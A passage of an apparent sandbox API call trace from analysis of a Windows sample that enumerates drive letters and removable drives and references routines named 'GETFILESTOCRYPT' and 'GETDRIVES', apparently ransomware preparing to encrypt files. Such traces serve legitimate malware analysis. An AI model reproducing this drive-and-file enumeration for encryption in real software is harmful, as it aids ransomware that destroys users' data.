(lpRootPathName="u:\\") returned 0x1 [0089.779] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.779] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.779] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.779] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.780] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.780] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.780] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.780] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.780] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.780] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.780] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.780] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.780] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.780] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.780] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.780] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.781] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.781] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.781] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.781] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.781] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.781] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.781] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.781] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.781] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.781] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.781] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.782] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.782] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.782] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.782] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.782] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.782] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.782] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.782] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.783] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.783] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.783] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.783] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.783] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.783] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.783] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.783] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.784] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.784] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.784] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.784] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.784] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.784] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.784] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.784] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.784] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.784] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.785] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.785] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.785] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.785] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.785] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.785] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.785] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.785] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.785] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.785] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.785] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.785] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.785] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.785] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.785] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.785] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.786] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.786] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.786] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.787] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.787] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.787] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.787] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.788] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.788] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.788] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.788] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.788] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.788] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.788] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.788] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.788] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.788] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.789] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.789] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.789] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.789] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.789] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.789] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.789] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.789] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.789] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.789] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.790] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.790] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.790] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.790] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.790] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.790] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.790] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.790] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.790] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.790] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.790] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.790] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.790] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.790] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.791] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.791] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.791] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.791] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.791] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.791] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.791] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.791] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.791] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.791] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.791] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.791] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.792] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.792] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.792] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.792] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.792] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.792] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.792] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.792] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.792] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.792] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.792] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.792] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.792] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.792] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.792] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.793] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.793] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.793] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.793] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.793] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.793] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.793] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.793] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.793] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.793] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.793] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.793] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.794] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.794] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.794] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.794] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.794] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.794] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.794] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.794] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.794] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.794] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.794] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.794] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.794] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.806] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.806] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.806] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.806] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.807] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.807] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.807] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.807] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.807] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.807] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.807] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.807] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.807] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.807] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 